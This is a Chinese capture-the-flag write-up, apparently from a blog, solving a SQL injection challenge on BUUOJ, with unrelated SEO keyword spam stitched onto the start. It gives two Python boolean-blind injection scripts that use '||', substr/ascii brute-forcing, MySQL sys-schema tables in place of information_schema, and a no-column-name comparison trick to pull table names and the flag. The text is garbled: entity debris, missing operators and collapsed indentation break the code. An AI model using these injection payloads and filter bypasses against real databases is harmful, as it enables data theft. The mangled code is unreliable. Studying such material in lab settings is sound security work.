自己注册了个域名想做一个网站,上网出现危险网站,网站建设合同 附件,公司网站建设费用会计入账打开环境#xff0c;下面有个提交表单 提交1#xff0c;2有正确的查询结果#xff0c;3以后都显示Error Occured When Fetch Result.
题目是sql#xff0c;应该考察的是sql注入
简单fuzz一下 发现information_schema被过滤了#xff0c;猜测是盲注了。
测试发现只要有东…打开环境下面有个提交表单 提交12有正确的查询结果3以后都显示Error Occured When Fetch Result.
题目是sql应该考察的是sql注入
简单fuzz一下 发现information_schema被过滤了猜测是盲注了。
测试发现只要有东西加上and或者or都会被检测
试一下|| 发现可以再测试一下substr 可以用写个脚本爆一下表名
但是information_schema被过滤了这里用到MySQL5.7的新特性. 可以看一下这篇博客
Bypass information_schema与无列名注入_无列名注入information_schema平替-CSDN博客
脚本
import requests
urlhttp://7e3aea74-af31-4ee6-a347-e5c4dacc18f0.node5.buuoj.cn:81/index.php
data3 || ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schemadatabase()),{},1)){}
name
for i in range(1,90):for j in range(32,127):iddata.format(i,j)post_data{id:id}rerequests.post(url,datapost_data) if Nu1L in re.text:namechr(j)print(name)break两个表users233333333333333f1ag_1s_h3r3_hhhhh
爆字段
下面要用到无列名注入
由于mysql里面字符串比较大小只是比较第一个字符的大小就可以利用这一点实现无列名注入
由于等于和大于是两个临界情况得到chr要-1才对
脚本
import requests
url http://7e3aea74-af31-4ee6-a347-e5c4dacc18f0.node5.buuoj.cn:81//
flag
for i in range(1,200):for j in range(32, 127):tmp flag chr(j)id 3||((select 1,{})(select * from f1ag_1s_h3r3_hhhhh)).format(tmp)data {id:id}r requests.post(urlurl, datadata)if Nu1L in r.text:flag chr(j-1)print(flag)break转个小写 拿到flag